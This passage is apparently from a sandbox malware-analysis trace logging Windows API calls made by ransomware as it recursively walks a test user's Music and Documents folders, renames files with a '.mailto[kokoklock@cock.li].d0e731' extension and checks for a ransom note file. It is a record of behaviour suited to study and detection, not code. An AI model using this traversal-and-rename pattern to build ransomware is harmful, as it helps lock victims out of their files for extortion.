CloseHandle (hObject=0x9dc) returned 1 [0075.609] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x3431580 [0075.609] wcscpy (in: _Dest=0x3431580, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a" [0075.609] wcscat (in: _Dest=0x3431580, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731" [0075.609] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\tz6tmazkgsucmzanoziu.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\tz6tmazkgsucmzanoziu.m4a.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.610] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.610] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431580) returned 1 [0075.610] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\tZ6TMAZkgSUCMzANoZIU.m4a", dwFileAttributes=0x20) returned 0 [0075.610] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347dee0 [0075.610] wcscpy (in: _Dest=0x347dee0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\" [0075.610] wcscat (in: _Dest=0x347dee0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\D0E731-Readme.txt" [0075.610] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\d0e731-readme.txt")) returned 0x20 [0075.610] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dee0) returned 1 [0075.610] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd670) returned 1 [0075.610] RtlExitUserThread (Status=0x1) Thread: id = 767 os_tid = 0x1248 [0075.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479d30 [0075.613] wcscpy (in: _Dest=0x3479d30, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" [0075.613] wcscat (in: _Dest=0x3479d30, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" [0075.613] wcscat (in: _Dest=0x3479d30, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\*") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\*" [0075.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f3778 [0075.613] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\*", lpFindFileData=0x33f3778 | out: lpFindFileData=0x33f3778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bcfd50, ftCreationTime.dwHighDateTime=0x1d4d2cc, ftLastAccessTime.dwLowDateTime=0xaf3d3000, ftLastAccessTime.dwHighDateTime=0x1d4d497, ftLastWriteTime.dwLowDateTime=0xaf3d3000, ftLastWriteTime.dwHighDateTime=0x1d4d497, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34345e8 [0075.613] wcscmp (_String1=".", _String2=".") returned 0 [0075.613] FindNextFileW (in: hFindFile=0x34345e8, lpFindFileData=0x33f3778 | out: lpFindFileData=0x33f3778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bcfd50, ftCreationTime.dwHighDateTime=0x1d4d2cc, ftLastAccessTime.dwLowDateTime=0xaf3d3000, ftLastAccessTime.dwHighDateTime=0x1d4d497, ftLastWriteTime.dwLowDateTime=0xaf3d3000, ftLastWriteTime.dwHighDateTime=0x1d4d497, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.613] wcscmp (_String1="..", _String2=".") returned 1 [0075.613] wcscmp (_String1="..", _String2="..") returned 0 [0075.613] FindNextFileW (in: hFindFile=0x34345e8, lpFindFileData=0x33f3778 | out: lpFindFileData=0x33f3778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bdeda60, ftCreationTime.dwHighDateTime=0x1d4cbcb, ftLastAccessTime.dwLowDateTime=0x8c1e4b50, ftLastAccessTime.dwHighDateTime=0x1d4d1ad, ftLastWriteTime.dwLowDateTime=0x8c1e4b50, ftLastWriteTime.dwHighDateTime=0x1d4d1ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="h68l59uHfVEnYu2pKYp_", cAlternateFileName="H68L59~1")) returned 1 [0075.613] wcscmp (_String1="h68l59uHfVEnYu2pKYp_", _String2=".") returned 1 [0075.613] wcscmp (_String1="h68l59uHfVEnYu2pKYp_", _String2="..") returned 1 [0075.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eb6d0 [0075.613] wcscpy (in: _Dest=0x33eb6d0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" [0075.614] wcscat (in: _Dest=0x33eb6d0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" [0075.614] wcscat (in: _Dest=0x33eb6d0, _Source="h68l59uHfVEnYu2pKYp_" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" [0076.613] Sleep (dwMilliseconds=0x1) [0076.622] Sleep (dwMilliseconds=0x1) [0077.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33eb6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d8 [0077.654] FindNextFileW (in: hFindFile=0x34345e8, lpFindFileData=0x33f3778 | out: lpFindFileData=0x33f3778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd46de710, ftCreationTime.dwHighDateTime=0x1d4d4f7, ftLastAccessTime.dwLowDateTime=0xdae7cba0, ftLastAccessTime.dwHighDateTime=0x1d4c9b3, ftLastWriteTime.dwLowDateTime=0xdae7cba0, ftLastWriteTime.dwHighDateTime=0x1d4c9b3, nFileSizeHigh=0x0, nFileSizeLow=0xfaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITti.m4a", cAlternateFileName="")) returned 1 [0077.654] wcscmp (_String1="ITti.m4a", _String2=".") returned 1 [0077.654] wcscmp (_String1="ITti.m4a", _String2="..") returned 1 [0077.654] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7a) returned 0x347f458 [0077.655] wcscpy (in: _Dest=0x347f458, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" [0077.655] wcscat (in: _Dest=0x347f458, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" [0077.655] wcscat (in: _Dest=0x347f458, _Source="ITti.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a" [0077.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347f458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0077.655] FindNextFileW (in: hFindFile=0x34345e8, lpFindFileData=0x33f3778 | out: lpFindFileData=0x33f3778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a11d280, ftCreationTime.dwHighDateTime=0x1d4d3f6, ftLastAccessTime.dwLowDateTime=0x32705770, ftLastAccessTime.dwHighDateTime=0x1d4d5e4, ftLastWriteTime.dwLowDateTime=0x32705770, ftLastWriteTime.dwHighDateTime=0x1d4d5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kt2JmDHBpQGjZu_piWY.m4a", cAlternateFileName="KT2JMD~1.M4A")) returned 1 [0077.655] wcscmp (_String1="Kt2JmDHBpQGjZu_piWY.m4a", _String2=".") returned 1 [0077.655] wcscmp (_String1="Kt2JmDHBpQGjZu_piWY.m4a", _String2="..") returned 1 [0077.655] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x98) returned 0x33eb630 [0077.655] wcscpy (in: _Dest=0x33eb630, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" [0077.655] wcscat (in: _Dest=0x33eb630, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" [0077.655] wcscat (in: _Dest=0x33eb630, _Source="Kt2JmDHBpQGjZu_piWY.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Kt2JmDHBpQGjZu_piWY.m4a" [0077.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33eb630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x374 [0077.656] FindNextFileW (in: hFindFile=0x34345e8, lpFindFileData=0x33f3778 | out: lpFindFileData=0x33f3778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3154b070, ftCreationTime.dwHighDateTime=0x1d4cc2f, ftLastAccessTime.dwLowDateTime=0x7d4dacb0, ftLastAccessTime.dwHighDateTime=0x1d4cab9, ftLastWriteTime.dwLowDateTime=0x7d4dacb0, ftLastWriteTime.dwHighDateTime=0x1d4cab9, nFileSizeHigh=0x0, nFileSizeLow=0x15295, dwReserved0=0x0, dwReserved1=0x0, cFileName="p2faBIvQ8U_s.wav", cAlternateFileName="P2FABI~1.WAV")) returned 1 [0077.656] wcscmp (_String1="p2faBIvQ8U_s.wav", _String2=".") returned 1 [0077.656] wcscmp (_String1="p2faBIvQ8U_s.wav", _String2="..") returned 1 [0077.656] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347b910 [0077.656] wcscpy (in: _Dest=0x347b910, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" [0077.656] wcscat (in: _Dest=0x347b910, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" [0077.656] wcscat (in: _Dest=0x347b910, _Source="p2faBIvQ8U_s.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav" [0077.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347b910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590 [0077.657] FindNextFileW (in: hFindFile=0x34345e8, lpFindFileData=0x33f3778 | out: lpFindFileData=0x33f3778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e31bd30, ftCreationTime.dwHighDateTime=0x1d4c9f3, ftLastAccessTime.dwLowDateTime=0xeefa5730, ftLastAccessTime.dwHighDateTime=0x1d4d0ec, ftLastWriteTime.dwLowDateTime=0xeefa5730, ftLastWriteTime.dwHighDateTime=0x1d4d0ec, nFileSizeHigh=0x0, nFileSizeLow=0x12983, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vw9ww3MRRHHHej hypk8.m4a", cAlternateFileName="VW9WW3~1.M4A")) returned 1 [0077.657] wcscmp (_String1="Vw9ww3MRRHHHej hypk8.m4a", _String2=".") returned 1 [0077.657] wcscmp (_String1="Vw9ww3MRRHHHej hypk8.m4a", _String2="..") returned 1 [0077.657] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e6528 [0077.657] wcscpy (in: _Dest=0x33e6528, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ" [0077.657] wcscat (in: _Dest=0x33e6528, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" [0077.657] wcscat (in: _Dest=0x33e6528, _Source="Vw9ww3MRRHHHej hypk8.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a" [0077.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e6528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378 [0077.660] FindNextFileW (in: hFindFile=0x34345e8, lpFindFileData=0x33f3778 | out: lpFindFileData=0x33f3778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e31bd30, ftCreationTime.dwHighDateTime=0x1d4c9f3, ftLastAccessTime.dwLowDateTime=0xeefa5730, ftLastAccessTime.dwHighDateTime=0x1d4d0ec, ftLastWriteTime.dwLowDateTime=0xeefa5730, ftLastWriteTime.dwHighDateTime=0x1d4d0ec, nFileSizeHigh=0x0, nFileSizeLow=0x12983, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vw9ww3MRRHHHej hypk8.m4a", cAlternateFileName="VW9WW3~1.M4A")) returned 0 [0077.660] FindClose (in: hFindFile=0x34345e8 | out: hFindFile=0x34345e8) returned 1 [0077.661] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f3778) returned 1 [0077.661] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0077.661] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dcb0) returned 1 [0077.661] RtlExitUserThread (Status=0x0) Thread: id = 768 os_tid = 0x124c [0075.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33cccf0 [0075.614] wcscpy (in: _Dest=0x33cccf0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o" [0075.614] wcscat (in: _Dest=0x33cccf0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\" [0075.614] wcscat (in: _Dest=0x33cccf0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\*") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\*" [0075.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f62c8 [0075.614] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\*", lpFindFileData=0x33f62c8 | out: lpFindFileData=0x33f62c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4438da0, ftCreationTime.dwHighDateTime=0x1d4d061, ftLastAccessTime.dwLowDateTime=0xc9f7f7e0, ftLastAccessTime.dwHighDateTime=0x1d4c7e0, ftLastWriteTime.dwLowDateTime=0xc9f7f7e0, ftLastWriteTime.dwHighDateTime=0x1d4c7e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434668 [0075.614] wcscmp (_String1=".", _String2=".") returned 0 [0075.615] FindNextFileW (in: hFindFile=0x3434668, lpFindFileData=0x33f62c8 | out: lpFindFileData=0x33f62c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4438da0, ftCreationTime.dwHighDateTime=0x1d4d061, ftLastAccessTime.dwLowDateTime=0xc9f7f7e0, ftLastAccessTime.dwHighDateTime=0x1d4c7e0, ftLastWriteTime.dwLowDateTime=0xc9f7f7e0, ftLastWriteTime.dwHighDateTime=0x1d4c7e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.615] wcscmp (_String1="..", _String2=".") returned 1 [0075.615] wcscmp (_String1="..", _String2="..") returned 0 [0075.615] FindNextFileW (in: hFindFile=0x3434668, lpFindFileData=0x33f62c8 | out: lpFindFileData=0x33f62c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d2d1a10, ftCreationTime.dwHighDateTime=0x1d4c78b, ftLastAccessTime.dwLowDateTime=0xfdb6b200, ftLastAccessTime.dwHighDateTime=0x1d4cc91, ftLastWriteTime.dwLowDateTime=0xfdb6b200, ftLastWriteTime.dwHighDateTime=0x1d4cc91, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="m4L5-cntR3wF", cAlternateFileName="M4L5-C~1")) returned 1 [0075.615] wcscmp (_String1="m4L5-cntR3wF", _String2=".") returned 1 [0075.615] wcscmp (_String1="m4L5-cntR3wF", _String2="..") returned 1 [0075.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x347ba40 [0075.615] wcscpy (in: _Dest=0x347ba40, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o" [0075.615] wcscat (in: _Dest=0x347ba40, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\" [0075.615] wcscat (in: _Dest=0x347ba40, _Source="m4L5-cntR3wF" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" [0076.613] Sleep (dwMilliseconds=0x1) [0076.622] Sleep (dwMilliseconds=0x1) [0077.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347ba40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9dc [0077.662] FindNextFileW (in: hFindFile=0x3434668, lpFindFileData=0x33f62c8 | out: lpFindFileData=0x33f62c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ed383c0, ftCreationTime.dwHighDateTime=0x1d4d446, ftLastAccessTime.dwLowDateTime=0x20a66820, ftLastAccessTime.dwHighDateTime=0x1d4c920, ftLastWriteTime.dwLowDateTime=0x20a66820, ftLastWriteTime.dwHighDateTime=0x1d4c920, nFileSizeHigh=0x0, nFileSizeLow=0xfd8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="UUUMQYxxn.csv", cAlternateFileName="UUUMQY~1.CSV")) returned 1 [0077.662] wcscmp (_String1="UUUMQYxxn.csv", _String2=".") returned 1 [0077.662] wcscmp (_String1="UUUMQYxxn.csv", _String2="..") returned 1 [0077.662] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347b9a8 [0077.662] wcscpy (in: _Dest=0x347b9a8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o" [0077.662] wcscat (in: _Dest=0x347b9a8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\" [0077.662] wcscat (in: _Dest=0x347b9a8, _Source="UUUMQYxxn.csv" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv" [0077.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347b9a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424 [0077.663] FindNextFileW (in: hFindFile=0x3434668, lpFindFileData=0x33f62c8 | out: lpFindFileData=0x33f62c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbec97d70, ftCreationTime.dwHighDateTime=0x1d4c8c7, ftLastAccessTime.dwLowDateTime=0xb21e7600, ftLastAccessTime.dwHighDateTime=0x1d4cb2b, ftLastWriteTime.dwLowDateTime=0xb21e7600, ftLastWriteTime.dwHighDateTime=0x1d4cb2b, nFileSizeHigh=0x0, nFileSizeLow=0x183e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="yuVTiBL5OzEQ68g.docx", cAlternateFileName="YUVTIB~1.DOC")) returned 1 [0077.663] wcscmp (_String1="yuVTiBL5OzEQ68g.docx", _String2=".") returned 1 [0077.663] wcscmp (_String1="yuVTiBL5OzEQ68g.docx", _String2="..") returned 1 [0077.663] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9e) returned 0x33e65d0 [0077.663] wcscpy (in: _Dest=0x33e65d0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o" [0077.663] wcscat (in: _Dest=0x33e65d0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\" [0077.663] wcscat (in: _Dest=0x33e65d0, _Source="yuVTiBL5OzEQ68g.docx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx" [0077.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e65d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x594 [0077.664] FindNextFileW (in: hFindFile=0x3434668, lpFindFileData=0x33f62c8 | out: lpFindFileData=0x33f62c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbec97d70, ftCreationTime.dwHighDateTime=0x1d4c8c7, ftLastAccessTime.dwLowDateTime=0xb21e7600, ftLastAccessTime.dwHighDateTime=0x1d4cb2b, ftLastWriteTime.dwLowDateTime=0xb21e7600, ftLastWriteTime.dwHighDateTime=0x1d4cb2b, nFileSizeHigh=0x0, nFileSizeLow=0x183e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="yuVTiBL5OzEQ68g.docx", cAlternateFileName="YUVTIB~1.DOC")) returned 0 [0077.664] FindClose (in: hFindFile=0x3434668 | out: hFindFile=0x3434668) returned 1 [0077.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f62c8) returned 1 [0077.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cccf0) returned 1 [0077.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd5f0) returned 1 [0077.664] RtlExitUserThread (Status=0x0) 